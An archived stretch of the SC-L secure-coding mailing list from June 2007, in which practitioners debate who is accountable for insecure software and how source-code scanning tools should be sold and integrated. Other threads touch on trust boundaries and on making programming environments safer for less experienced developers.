> to use this new computing technology.  In addition to code working
> properly,
> you now have the added complexity of code running over itself - the timing
> and synchronization issues.
>
> It's not new - cluster computing has been around for a while and parallel
> computing has been around for a while - but it hasn't been in desktop
> level
> machines until recently - which brings the issues of parallel computing to
> a
> whole new and large arena of developers and users.
>
> We're going to have difficulty getting it to work right, let alone
> securely.
>
>
> Mike H.
>
>
> -----------------------------
> Michael S Hines
> mshines at purdue.edu
>
>
>
>
> ------------------------------
>
> _______________________________________________
> SC-L mailing list
> SC-L at securecoding.org
> http://krvw.com/mailman/listinfo/sc-l
>
>
> End of SC-L Digest, Vol 3, Issue 102
> ************************************
>



-- 
THE INFORMATION CONTAINED IN THIS MESSAGE AND ANY ATTACHMENT MAY BE
PRIVILEGED, CONFIDENTIAL, PROPRIETARY OR OTHERWISE PROTECTED FROM
DISCLOSURE. If the reader of this message is not the intended recipient, you
are hereby notified that any dissemination, distribution, copying or use of
this message and any attachment is strictly prohibited. If you have received
this message in error, please notify us immediately by replying to the
message and permanently delete it from your computer and destroy any
printout thereof.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070607/c16c3f16/attachment-0001.html 

From secureCoding2dave at davearonson.com  Thu Jun  7 08:52:39 2007
From: secureCoding2dave at davearonson.com (SC-L Subscriber Dave Aronson)
Date: Thu, 07 Jun 2007 12:52:39 +0000
Subject: [SC-L] FW: What's the next tech problem to be solved
	in	softwaresecurity?
Message-ID: <W2047823700226701181220759@webmail1>

Michael S Hines [mailto:mshines at purdue.edu] writes:

 > Product integration - why have an editor, separate source code analizer,
 > separate 'lint' product, compiler, linker, object code analyzer, Fuzz
 > testing tools, etc...    apart from marketing and revenue stream - it
 > doesn't help the developer any.

It may.  IME, "all-in-one" products usually integrate the pieces well.  On the other claw, they don't tend to do most, if any, of the pieces well.  On the third hand, "integration" doesn't have to mean they're no longer "separate".  They can "play nicely together" if they adhere to relevant standards for interoperability.  Witness how you can develop a lot of software without leaving Emacs, or Eclipse.

However, I don't think that's all that relevant to software security in particular, as opposed to software development in general.

-Dave

-- 
Dave Aronson
"Specialization is for insects."  -Heinlein
Work: http://www.davearonson.com/
Play: http://www.davearonson.net/




From secureCoding2dave at davearonson.com  Thu Jun  7 08:59:12 2007
From: secureCoding2dave at davearonson.com (SC-L Subscriber Dave Aronson)
Date: Thu, 07 Jun 2007 12:59:12 +0000
Subject: [SC-L] Perspectives on Code Scanning
Message-ID: <W20467148194131181221152@webmail1>

McGovern, James F \(HTSC, IT\) [mailto:James.McGovern at thehartford.com] writes:

 > the value of tools in this space are not really targeted at developers
 > but should be targeted at executives who care about overall quality and
 > security folks who care about risk. While developers are the ones to
 > remediate, the accountability for secure coding resides elsewhere.

Sort of.  There are multiple levels of accountability.  As has been said here many times: the developers should be held accountable for producing secure software, but the management must give them the time and tools to do so, and management usually places far higher priority on things like ease of use and especially on time to market.

 > It would seem to be that tools that developers plug into their IDE should
 > be free since the value proposition should reside elsewhere. Many of these
 > tools provide "audit" functionality and allow enterprises to gain a view
 > into their portfolio that they previously had zero clue about and this is
 > where the value should reside.

Heh.  Yeah, I'd like to see some executive dashboard saying things like whose code currently generates the most warnings, especially if those warnings are from security analysis tools.  B-)  Of course, most executives won't bother looking at something that "techy", let alone understand the significance.  B-(

 > If there is even an iota of agreement, wouldn't it be in the best interest
 > of folks here to get vendors to ignore developer specific licensing and
 > instead focus on enterprise concerns?

Unfortunately, that often means that ANY license at all for it will be horrendously expensive, so that small shops are totally cut out.

-Dave

-- 
Dave Aronson
"Specialization is for insects."  -Heinlein
Work: http://www.davearonson.com/
Play: http://www.davearonson.net/




From James.McGovern at thehartford.com  Thu Jun  7 09:08:16 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Thu, 7 Jun 2007 09:08:16 -0400
Subject: [SC-L] Perspectives on Code Scanning
In-Reply-To: <5e01c29a0706061559y432c0a2gbb524c97210b7b7e@mail.gmail.com>
Message-ID: <773F863A6009244B87E6E866AFC7DB4603999BBC@AD1HFDEXC309.ad1.prod>

While developers create the problems, I don't believe it is their fault. If you were to analyze the SDLC of a Fortune enterprise or even software vendor they all have a common problem in that the reward systems for developers are all about features and time to market where security is always a last minute thought and prioritized last. Developers in an outsourcing context would probably get it handed to them if they were to spend additional time writing secure code if the client didn't ask for it. 

I believe this is a management problem and that management needs tools to help them understand how big of a problem they create for others. Developers should be cut a break and be given tools to do their jobs properly and there shouldn't be expense incurred to do so.

-----Original Message-----
From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org]On Behalf Of Michael Silk
Sent: Wednesday, June 06, 2007 7:00 PM
To: McGovern, James F (HTSC, IT)
Cc: Secure Coding
Subject: Re: [SC-L] Perspectives on Code Scanning


On 6/7/07, McGovern, James F (HTSC, IT) <James.McGovern at thehartford.com> wrote:
> I really hope that this email doesn't generate a ton of offline emails and hope that folks will
> talk publicly. It has been my latest thinking that the value of tools in this space are not really
> targeted at developers but should be targeted at executives who care about overall quality
> and security folks who care about risk. While developers are the ones to remediate, the
> accountability for secure coding resides elsewhere.

and that's the problem. the accountability for insecure coding should
reside with the developers. it's their fault [mostly].



> It would seem to be that tools that developers plug into their IDE should be free since the
> value proposition should reside elsewhere. Many of these tools provide "audit" functionality
> and allow enterprises to gain a view into their portfolio that they previously had zero clue
> about and this is where the value should reside.
>
> If there is even an iota of agreement, wouldn't it be in the best interest of folks here to get
> vendors to ignore developer specific licensing and instead focus on enterprise concerns?
>
>
> *************************************************************************
> This communication, including attachments, is
> for the exclusive use of addressee and may contain proprietary,
> confidential and/or privileged information.  If you are not the intended
> recipient, any use, copying, disclosure, dissemination or distribution is
> strictly prohibited.  If you are not the intended recipient, please notify
> the sender immediately by return e-mail, delete this communication and
> destroy all copies.
> *************************************************************************
>
>
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
>


-- 
mike
68 65 6c 6c 6f 20 74 6f 20 79 6f 75 2c
20 68 65 78 20 64 65 63 6f 64 65 72 2e
_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________


From mshines at purdue.edu  Thu Jun  7 09:13:19 2007
From: mshines at purdue.edu (Michael S Hines)
Date: Thu, 7 Jun 2007 09:13:19 -0400
Subject: [SC-L] Perspectives on Code Scanning
In-Reply-To: <Pine.GSO.4.51.0706070124570.17121@faron.mitre.org>
References: <235ACFD8-214B-4EF0-9EAD-FD429B19E763@krvw.com><773F863A6009244B87E6E866AFC7DB4603999BAA@AD1HFDEXC309.ad1.prod><5e01c29a0706061559y432c0a2gbb524c97210b7b7e@mail.gmail.com>
	<Pine.GSO.4.51.0706070124570.17121@faron.mitre.org>
Message-ID: <004f01c7a905$9e4b15c0$4ea7d280@central.purdue.lcl>

> and that's the problem. the accountability for insecure coding should
> reside with the developers. it's their fault [mostly].

The customers have most of the power, but the security community has
collectively failed to educate customers on how to ask for more secure
software.  There are pockets of success, but a whole lot more could be done.

--- the software should work and be secure (co-requirements).  The user
community has been educated to accept CTL-ALT-DEL and wait as an acceptable
method of computing (and when things are really haywire - resintall the OS
and loose all your work).   We've got a long way to go for them to expect
software to also be secure, since they now accept that it doesn't work right
as SOP.

Mike Hines
mshines at purdue.edu



From mouse at Rodents.Montreal.QC.CA  Thu Jun  7 11:07:06 2007
From: mouse at Rodents.Montreal.QC.CA (der Mouse)
Date: Thu, 7 Jun 2007 11:07:06 -0400 (EDT)
Subject: [SC-L] Perspectives on Code Scanning
In-Reply-To: <004f01c7a905$9e4b15c0$4ea7d280@central.purdue.lcl>
References: <235ACFD8-214B-4EF0-9EAD-FD429B19E763@krvw.com><773F863A6009244B87E6E866AFC7DB4603999BAA@AD1HFDEXC309.ad1.prod><5e01c29a0706061559y432c0a2gbb524c97210b7b7e@mail.gmail.com>
	<Pine.GSO.4.51.0706070124570.17121@faron.mitre.org>
	<004f01c7a905$9e4b15c0$4ea7d280@central.purdue.lcl>
Message-ID: <200706071512.LAA29505@Sparkle.Rodents.Montreal.QC.CA>

> --- the software should work and be secure (co-requirements).

And already we have trouble, because this immediately raises not only
the question "what does `work' mean?" but also "secure against what?".

And answering that correctly requires input from the customer.  Which
we (TINW) won't have until customers recognize a need for security and
get enough clue to know what they want to be secure against.

And we all know how likely customers are to have clue (of just about
any sort).

(Actually, there are markets where the customer usually is clued.
Oddly enough, they also tend to be markets wherein software isn't
security Swiss cheese. :-)

/~\ The ASCII				der Mouse
\ / Ribbon Campaign
 X  Against HTML	       mouse at rodents.montreal.qc.ca
/ \ Email!	     7D C8 61 52 5D E7 2D 39  4E F1 31 3E E8 B3 27 4B

From Brian.A.Shea at bankofamerica.com  Thu Jun  7 11:55:17 2007
From: Brian.A.Shea at bankofamerica.com (Shea, Brian A)
Date: Thu, 07 Jun 2007 08:55:17 -0700
Subject: [SC-L] Perspectives on Code Scanning
In-Reply-To: <200706071512.LAA29505@Sparkle.Rodents.Montreal.QC.CA>
Message-ID: <CC9C8DDEEAD1814BA5FED7227254EE5BA3CBFC@ex2k.bankofamerica.com>

" And answering that correctly requires input from the customer.  Which
we (TINW) won't have until customers recognize a need for security and
get enough clue to know what they want to be secure against."

I can't exactly agree with this as there is a distinction (or should be
IMO) between security features and security of the code.

If you are asserting that the customer must tell you how many security
features to implement based on their requirements. I'll agree 100%.
Stuff like, "I don't need 3 types of military grade encryption added,
I'm just doing recipe sorting."  That kind of stuff.

However if you are waiting around for the customer to request software
that isn't subject to buffer overflows or can't be hijacked by input
validation I think you are missing the point.  That level of security
comes out of the quality of the dev team, process, and company producing
the software, not out of customer requirements.  Customer expect this
level of security implicitly just like they expect their toasters won't
burst into flames every time they try to toast a bagel.  They have
learned to accept less by the craptastic quality of code from many
vendors for many years, but would happily revert to the initial
expectation of "I just want it to work and not provide additional risk
to my organization".

It remains (weakly) arguable that IF the customer really wanted secure
software they'd have stronger legal agreements with suppliers that allow
recourse and compensation for failed security, but that brings in yet
another of the often technically clueless, Lawyers.

I do believe that the focal point of getting change from where we stand
now is at the feet of the customer, because it starts out as an economic
problem first.  If you pay more to get secure code or pay to buy weak
security but fast to market code, then you somewhat get what you paid
for.  Vendors will produce the lowest quality for the highest price if
the market lets them.

PS - speaking of lawyers... :)  The views expressed here are my own, not
those of my company ... etc etc.

-----Original Message-----
From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org] On Behalf Of der Mouse
Sent: Thursday, June 07, 2007 8:07 AM
To: SC-L at securecoding.org
Subject: Re: [SC-L] Perspectives on Code Scanning

> --- the software should work and be secure (co-requirements).

And already we have trouble, because this immediately raises not only
the question "what does `work' mean?" but also "secure against what?".

And answering that correctly requires input from the customer.  Which
we (TINW) won't have until customers recognize a need for security and
get enough clue to know what they want to be secure against.

And we all know how likely customers are to have clue (of just about
any sort).

(Actually, there are markets where the customer usually is clued.
Oddly enough, they also tend to be markets wherein software isn't
security Swiss cheese. :-)

/~\ The ASCII				der Mouse
\ / Ribbon Campaign
 X  Against HTML	       mouse at rodents.montreal.qc.ca
/ \ Email!	     7D C8 61 52 5D E7 2D 39  4E F1 31 3E E8 B3 27 4B
_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc -
http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC
(http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________

From mouse at Rodents.Montreal.QC.CA  Thu Jun  7 13:03:21 2007
From: mouse at Rodents.Montreal.QC.CA (der Mouse)
Date: Thu, 7 Jun 2007 13:03:21 -0400 (EDT)
Subject: [SC-L] Perspectives on Code Scanning
In-Reply-To: <CC9C8DDEEAD1814BA5FED7227254EE5BA3CBFC@ex2k.bankofamerica.com>
References: <CC9C8DDEEAD1814BA5FED7227254EE5BA3CBFC@ex2k.bankofamerica.com>
Message-ID: <200706071724.NAA01294@Sparkle.Rodents.Montreal.QC.CA>

>> And answering that ["secure against what?"] correctly requires input
>> from the customer.  Which we (TINW) won't have until customers
>> recognize a need for security and get enough clue to know what they
>> want to be secure against.
> If you are asserting that the customer must tell you how many
> security features to implement based on their requirements. I'll
> agree 100%.  Stuff like, "I don't need 3 types of military grade
> encryption added, I'm just doing recipe sorting."  That kind of
> stuff.

Well, I was thinking more like, "needs to withstand potentially hostile
user input on this input channel, but not on that one".  As a simple
example, a webserver usually needs to withstand potentially hostile
input from the network, but not from its config file.  (If it *can*
handle a hostile config file without crashing, great.  But if there's a
choice to be made, I'd put the brain cycles into hardening the network
interface before the config-file interface.)

/~\ The ASCII				der Mouse
\ / Ribbon Campaign
 X  Against HTML	       mouse at rodents.montreal.qc.ca
/ \ Email!	     7D C8 61 52 5D E7 2D 39  4E F1 31 3E E8 B3 27 4B

From arian.evans at anachronic.com  Thu Jun  7 16:20:41 2007
From: arian.evans at anachronic.com (Arian J. Evans)
Date: Thu, 7 Jun 2007 13:20:41 -0700
Subject: [SC-L] Perspectives on Code Scanning
In-Reply-To: <773F863A6009244B87E6E866AFC7DB4603999BAA@AD1HFDEXC309.ad1.prod>
References: <235ACFD8-214B-4EF0-9EAD-FD429B19E763@krvw.com>
	<773F863A6009244B87E6E866AFC7DB4603999BAA@AD1HFDEXC309.ad1.prod>
Message-ID: <cd1bdfdd0706071320o5b4da85ctb4cd847ba10baa22@mail.gmail.com>

<inline>

On 6/6/07, McGovern, James F (HTSC, IT) <James.McGovern at thehartford.com>
wrote:
>
> I really hope that this email doesn't generate a ton of offline emails and
> hope that folks will talk publicly. It has been my latest thinking that the
> value of tools in this space are not really targeted at developers but
> should be targeted at executives who care about overall quality and security
> folks who care about risk. While developers are the ones to remediate, the
> accountability for secure coding resides elsewhere.



Nice email James. These conversations are always enlightening. The responses
tend to illuminate who has what experience types, between (a) university
software experience, (b) government software-project experience, and (c)
enterprise software experience. That makes a lot of difference in these
discussions. Most enterprise /and/ small ISV developers I know, the good
ones, either take pride in their quality of code and self-manage security
issues, or are fast and productive and don't give a crap.

And why should they give a crap? It's not their problem domain.

The armchair software-security pundits: "Shame on you. You didn't properly
transcode these Hebrew and Latin code pages to avoid XSS attacks, dummy."

The fast effective developer: "I delivered your functional specifications to
the letter, on time, and the transcoding engine is FAST. What's the problem
here?"


It would seem to be that tools that developers plug into their IDE should be
> free since the value proposition should reside elsewhere. Many of these
> tools provide "audit" functionality and allow enterprises to gain a view
> into their portfolio that they previously had zero clue about and this is
> where the value should reside.



So of tools that plug into the IDE, let's distinguish between *source-code*
and *run-time* "scanners". Source scanners I suspect will die a slow death,
because sooner or later they are going to integrate into the IDE and
per-seat value will plummet. They will be a "given feature" of IDEs. Sooner
or later the IDE vendors will either buy & integrate, or come out with their
own tools. Take Compuware, the quality is pretty low, but if I were a
betting man I would bet that the bar gets set at "low-quality
included-functionality" rather than set at "$50k per-seat amazing quality
source code analzyer".

I believe this is different from run-time or human design analysis, largely
because of different business case.

For example: I have some clients that really like their Fortify tools, but
they really don't like all the time and critical development resources it
takes to use them, and how expensive they are. Cool tools, sexy technology,
but they are hard to align with the business case and business goals for
software development on multiple levels.

Run-time analysis is different. Run-time "scanner" IDE-plugins as a concept
is laughable, at best. Seriously -- who thinks that run-time scanners for
developers is a viable idea?

 Run-time analysis's strengths are different too. It is easier at run-time
to discover and analyze fundamental design flaws (note: I did not say "find
them all", but definitely "find indication of them"), and to identify
emergent behaviors. At best IDE plugins can perform some form of unit
testing, but beyond verification of basic data-typing and IFOF/IFOE type
issues, meh, not very useful. Not to mentioned entirely outside of the IDE
problem-domain.

Conclusion: two sets of problems, source analysis, and run-time analysis. I
think there is a good-enough bar for source analysis that will get set
fairly low and wind up baked into IDEs... similar to the Viz Studio /GS
switch. I've already seen a pretty effective one that will probably wind up
in one of the next releases of Visual Studio. It's actually better than some
of the commercial offerings today, and baked in.

Spot on James.

Human source analysis for Design Pattern issues, I think, this will always
be needed. Same for run-time analysis. Different problem-domains they solve
for though.


If there is even an iota of agreement, wouldn't it be in the best interest
> of folks here to get vendors to ignore developer specific licensing and
> instead focus on enterprise concerns?



So some marketing guy one day grokked "there are only n-number of security
people per organization that scan run scanners, but there are Multiplier(n *
33.5) number of developers per organization....wow! We could sell all those
developers scanners!!! Ka-Ching."

That sort of thinking is pretty cool, leads to some cool sales growth graphs
and profitability projections. Need board-room meeting material, fits
perfectly into that circular-arrow graph everyone has with "TCO" and
"Lifecycle Management" and "ROI" and how it all loops together and saves
everyone big bags of money after they spend up front.

This circular "lifecycle-management" graph is labeled Security in the SDLC
and shows how you can buy a lot of developer/IDE-scanners and have even the
cheapest developers scan their code up front, and you'll save big in the
long run by avoiding those expensive security audits, compliance issues, and
having your smart (expensive) developers have to go back and fix all those
holes. Ka-Ching.

I haven't heard the business plans of any of the source-code-scanner vendors
in a year or two...but back then, I didn't hear one that aligned with any
enterprise software development or business plan reality that I have
experienced.

My thinking here could be off. I thought WAFs were a ridiculous idea but I'm
starting to see very effective use-cases for them, despite the ridiculous
claims and hyperbole that come from the WAF-vendor marketing nonsense.

Anyway, I think you are spot on James, and I think if you look at Gartner's
recent punditry you'll find some similar notions expressed.

Chow,

-- 
Arian Evans
software security stuff
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070607/1f260607/attachment.html 

From gem at cigital.com  Thu Jun  7 16:08:27 2007
From: gem at cigital.com (Gary McGraw)
Date: Thu, 7 Jun 2007 16:08:27 -0400
Subject: [SC-L] JSON of Ajax -or- Little Web 2.0 bugs versus big Web 2.0
 flaws: darkreading
Message-ID: <41945506397C0C4886A8C5BFF089B5CAA11CCA76@va-mailhub.cigital.com>

Hi sc-l,

This month's installment of my darkreading.com column focuses some much needed attention on the bug/flaw distinction that I think we need to pay more attention to.

In particular, many of you will recall the discussion of Javascript hijacking that Brian Chess posted to this list in March.  I found that work an interesting generalization of the Gmail/JSON problem.  However, I think that instead of focusing so much attention on the particulars of Javascript transport we need to focus on ***trust boundaries***.

Read all about it here: http://www.darkreading.com/document.asp?doc_id=125931

Please crosspost responses here and to the darkreading website.  I am interested in your opinion of the current "bug parade" problem we have in software security.

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com



From James.McGovern at thehartford.com  Thu Jun  7 17:08:26 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Thu, 7 Jun 2007 17:08:26 -0400
Subject: [SC-L] Perspectives on Code Scanning
In-Reply-To: <cd1bdfdd0706071320o5b4da85ctb4cd847ba10baa22@mail.gmail.com>
Message-ID: <773F863A6009244B87E6E866AFC7DB4603999BC6@AD1HFDEXC309.ad1.prod>

It was bothering me for a long time that I didn't find evidence of any enterprise of size wanting to even purchase "seats" for source code scanning by developers yet I find tons of evidence that folks want to have deeper audits and have the tools in the hands of a few. One cannot ignore the importance of the thud factor when the report comes out especially in organizations that are led by process weenies who aren't really technical.
 
I do believe that enterprises would entertain tools that enabled secure design and figure out a way to apply security patterns such as what is outlined in the Core Security Patterns book. Tools that could somehow automate architecture/design reviews would be of immense value as well. 
 
One interesting thought I have is that more developers may care about secure coding if there were statistics that compared American developers to those employed in other countries. Right now, outsourcing is an unpopular topic where folks respond based on how they feel. Imagine the press if folks could factually prove that folks in other countries increase security defects...

-----Original Message-----
From: arian.evans at gmail.com [mailto:arian.evans at gmail.com]On Behalf Of Arian J. Evans
Sent: Thursday, June 07, 2007 4:21 PM
To: McGovern, James F (HTSC, IT); Secure Coding
Subject: Re: [SC-L] Perspectives on Code Scanning


<inline>


On 6/6/07, McGovern, James F (HTSC, IT) < James.McGovern at thehartford.com> wrote: 

I really hope that this email doesn't generate a ton of offline emails and hope that folks will talk publicly. It has been my latest thinking that the value of tools in this space are not really targeted at developers but should be targeted at executives who care about overall quality and security folks who care about risk. While developers are the ones to remediate, the accountability for secure coding resides elsewhere. 



Nice email James. These conversations are always enlightening. The responses tend to illuminate who has what experience types, between (a) university software experience, (b) government software-project experience, and (c) enterprise software experience. That makes a lot of difference in these discussions. Most enterprise /and/ small ISV developers I know, the good ones, either take pride in their quality of code and self-manage security issues, or are fast and productive and don't give a crap. 

And why should they give a crap? It's not their problem domain.

The armchair software-security pundits: "Shame on you. You didn't properly transcode these Hebrew and Latin code pages to avoid XSS attacks, dummy." 

The fast effective developer: "I delivered your functional specifications to the letter, on time, and the transcoding engine is FAST. What's the problem here?"




It would seem to be that tools that developers plug into their IDE should be free since the value proposition should reside elsewhere. Many of these tools provide "audit" functionality and allow enterprises to gain a view into their portfolio that they previously had zero clue about and this is where the value should reside. 



So of tools that plug into the IDE, let's distinguish between *source-code* and *run-time* "scanners". Source scanners I suspect will die a slow death, because sooner or later they are going to integrate into the IDE and per-seat value will plummet. They will be a "given feature" of IDEs. Sooner or later the IDE vendors will either buy & integrate, or come out with their own tools. Take Compuware, the quality is pretty low, but if I were a betting man I would bet that the bar gets set at "low-quality included-functionality" rather than set at "$50k per-seat amazing quality source code analzyer". 

I believe this is different from run-time or human design analysis, largely because of different business case.

For example: I have some clients that really like their Fortify tools, but they really don't like all the time and critical development resources it takes to use them, and how expensive they are. Cool tools, sexy technology, but they are hard to align with the business case and business goals for software development on multiple levels. 

Run-time analysis is different. Run-time "scanner" IDE-plugins as a concept is laughable, at best. Seriously -- who thinks that run-time scanners for developers is a viable idea?

 Run-time analysis's strengths are different too. It is easier at run-time to discover and analyze fundamental design flaws (note: I did not say "find them all", but definitely "find indication of them"), and to identify emergent behaviors. At best IDE plugins can perform some form of unit testing, but beyond verification of basic data-typing and IFOF/IFOE type issues, meh, not very useful. Not to mentioned entirely outside of the IDE problem-domain. 

Conclusion: two sets of problems, source analysis, and run-time analysis. I think there is a good-enough bar for source analysis that will get set fairly low and wind up baked into IDEs... similar to the Viz Studio /GS switch. I've already seen a pretty effective one that will probably wind up in one of the next releases of Visual Studio. It's actually better than some of the commercial offerings today, and baked in. 

Spot on James.

Human source analysis for Design Pattern issues, I think, this will always be needed. Same for run-time analysis. Different problem-domains they solve for though.




If there is even an iota of agreement, wouldn't it be in the best interest of folks here to get vendors to ignore developer specific licensing and instead focus on enterprise concerns?



So some marketing guy one day grokked "there are only n-number of security people per organization that scan run scanners, but there are Multiplier(n * 33.5) number of developers per organization....wow! We could sell all those developers scanners!!! Ka-Ching."
 
That sort of thinking is pretty cool, leads to some cool sales growth graphs and profitability projections. Need board-room meeting material, fits perfectly into that circular-arrow graph everyone has with "TCO" and "Lifecycle Management" and "ROI" and how it all loops together and saves everyone big bags of money after they spend up front. 

This circular "lifecycle-management" graph is labeled Security in the SDLC and shows how you can buy a lot of developer/IDE-scanners and have even the cheapest developers scan their code up front, and you'll save big in the long run by avoiding those expensive security audits, compliance issues, and having your smart (expensive) developers have to go back and fix all those holes. Ka-Ching. 

I haven't heard the business plans of any of the source-code-scanner vendors in a year or two...but back then, I didn't hear one that aligned with any enterprise software development or business plan reality that I have experienced. 

My thinking here could be off. I thought WAFs were a ridiculous idea but I'm starting to see very effective use-cases for them, despite the ridiculous claims and hyperbole that come from the WAF-vendor marketing nonsense. 

Anyway, I think you are spot on James, and I think if you look at Gartner's recent punditry you'll find some similar notions expressed.

Chow,


-- 
Arian Evans
software security stuff 






*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070607/d6777e5e/attachment-0001.html 

From gunnar at arctecgroup.net  Thu Jun  7 18:44:37 2007
From: gunnar at arctecgroup.net (Gunnar Peterson)
Date: Thu, 07 Jun 2007 17:44:37 -0500
Subject: [SC-L] Perspectives on Code Scanning
In-Reply-To: <5e01c29a0706061559y432c0a2gbb524c97210b7b7e@mail.gmail.com>
Message-ID: <C28DF485.A049%gunnar@arctecgroup.net>

> and that's the problem. the accountability for insecure coding should
> reside with the developers. it's their fault [mostly].

I find it fascinating that an industry like security, that has delivered a
grand total of TWO working mechanisms[1] over several decades of effort, is
so willing to throw others under the bus. Methinks they doth protesteth too
much and all that...

Instead it would be more productive for security to roll up their collective
sleeves and help build better tools and services.

1. Get proactively involved in the SDL, tomorrow if not sooner:
http://www.cigital.com/justiceleague/2007/05/24/sdlc-on-the-shoulders-of-gia
nts/

2. Make sure that involvement is pragmatic, and helps the enterprise make
the hard decisions to improve things instead of standard IT Security CYA:
http://1raindrop.typepad.com/1_raindrop/2007/06/cost_effective_.html

-gp

1. "one being the reference monitor and the other crypto" blaine burnham



From michaelslists at gmail.com  Thu Jun  7 18:49:43 2007
From: michaelslists at gmail.com (Michael Silk)
Date: Fri, 8 Jun 2007 08:49:43 +1000
Subject: [SC-L] Perspectives on Code Scanning
In-Reply-To: <C28DF485.A049%gunnar@arctecgroup.net>
References: <5e01c29a0706061559y432c0a2gbb524c97210b7b7e@mail.gmail.com>
	<C28DF485.A049%gunnar@arctecgroup.net>
Message-ID: <5e01c29a0706071549y934a4cw8b340a16d52b97d6@mail.gmail.com>

On 6/8/07, Gunnar Peterson <gunnar at arctecgroup.net> wrote:
> > and that's the problem. the accountability for insecure coding should
> > reside with the developers. it's their fault [mostly].
>
> I find it fascinating that an industry like security, that has delivered a
> grand total of TWO working mechanisms[1] over several decades of effort, is
> so willing to throw others under the bus. Methinks they doth protesteth too
> much and all that...

what? i'm a programmer. i'm not laying the blame 'elsewhere' or
throwing someone else under the bus.

it's pretty obvious, though, that 'secure' programming should be part
of the general knowledge and practice that we do. just like we should
all understand algorithms and linked lists and how to use an array, we
should know how to do it securely.

pretty basic stuff.


> Instead it would be more productive for security to roll up their collective
> sleeves and help build better tools and services.

yeah well that's what you've been doing and it's nice and profitable,
of course, but it isn't really helping a whole lot if it requires so
many external 'things'. customer education, customer care, management
care, cost to business, and so on.

i mean yes, you have a profitable industry, so well done. but there
are better ways to solve the problem.



> 1. Get proactively involved in the SDL, tomorrow if not sooner:
> http://www.cigital.com/justiceleague/2007/05/24/sdlc-on-the-shoulders-of-gia
> nts/
>
> 2. Make sure that involvement is pragmatic, and helps the enterprise make
> the hard decisions to improve things instead of standard IT Security CYA:
> http://1raindrop.typepad.com/1_raindrop/2007/06/cost_effective_.html
>
> -gp
>
> 1. "one being the reference monitor and the other crypto" blaine burnham
>
>
>


-- 
mike
68 65 6c 6c 6f 20 74 6f 20 79 6f 75 2c
20 68 65 78 20 64 65 63 6f 64 65 72 2e

From coley at linus.mitre.org  Thu Jun  7 20:23:56 2007
From: coley at linus.mitre.org (Steven M. Christey)
Date: Thu, 7 Jun 2007 20:23:56 -0400 (EDT)
Subject: [SC-L] What's the next tech problem to be solved in software
 security?
In-Reply-To: <20070606140148.C78DB1F3E96@spike.porcupine.org>
References: <20070606140148.C78DB1F3E96@spike.porcupine.org>
Message-ID: <Pine.GSO.4.51.0706072015250.5736@faron.mitre.org>


On Wed, 6 Jun 2007, Wietse Venema wrote:

> more and more people, with less and less experience, will be
> "programming" computer systems.
>
> The challenge is to provide environments that allow less experienced
> people to "program" computer systems without introducing gaping
> holes or other unexpected behavior.

I completely agree with this.  This is a grand challenge for software
security, so maybe it's not the NEXT problem.  There's a lot of tentative
work in this area - safe strings in C, SafeInt,
StackGuard/FormatGuard/etc., non-executable data segments, security
patterns, and so on.  But these are "bolt-on" methods on top of the same
old languages or technologies, and some of these require developer
awareness.  I know there's been some work in "secure languages" but I'm
not up-to-date on it.

More modern languages advertise security but aren't necessarily
catch-alls.  I remember one developer telling me how his application used
Ruby on Rails, so he was confident he was secure, but it didn't stop his
app from having an obvious XSS in core functionality.

> An example is the popular PHP language. Writing code is comparatively
> easy, but writing secure code is comparatively hard. I'm working on
> the second part, but I don't expect miracles.

PHP is an excellent example, because it's clearly lowered the bar for
programming and has many features that are outright dangerous, where it's
understandable how the careless/clueless programmer could have introduced
the issue.  Web programming in general, come to think of it.

- Steve

From bugtraq at cgisecurity.net  Thu Jun  7 21:10:05 2007
From: bugtraq at cgisecurity.net (bugtraq at cgisecurity.net)
Date: Thu, 7 Jun 2007 21:10:05 -0400 (EDT)
Subject: [SC-L] What's the next tech problem to be solved in software
In-Reply-To: <Pine.GSO.4.51.0706072015250.5736@faron.mitre.org>
Message-ID: <20070608011005.52210.qmail@cgisecurity.net>

> 
> 
> On Wed, 6 Jun 2007, Wietse Venema wrote:
> 
> > more and more people, with less and less experience, will be
> > "programming" computer systems.
> >
> > The challenge is to provide environments that allow less experienced
> > people to "program" computer systems without introducing gaping
> > holes or other unexpected behavior.
> 
> I completely agree with this.  This is a grand challenge for software
> security, so maybe it's not the NEXT problem.  There's a lot of tentative
> work in this area - safe strings in C, SafeInt,
> StackGuard/FormatGuard/etc., non-executable data segments, security
> patterns, and so on.  But these are "bolt-on" methods on top of the same
> old languages or technologies, and some of these require developer
> awareness.  I know there's been some work in "secure languages" but I'm
> not up-to-date on it.


You may find this interesting as this is a subject I feel strongly about myself.

http://www.qasec.com/cycle/securityframeworks.shtml

- Robert
http://www.cgisecurity.com/
http://www.qasec.com/


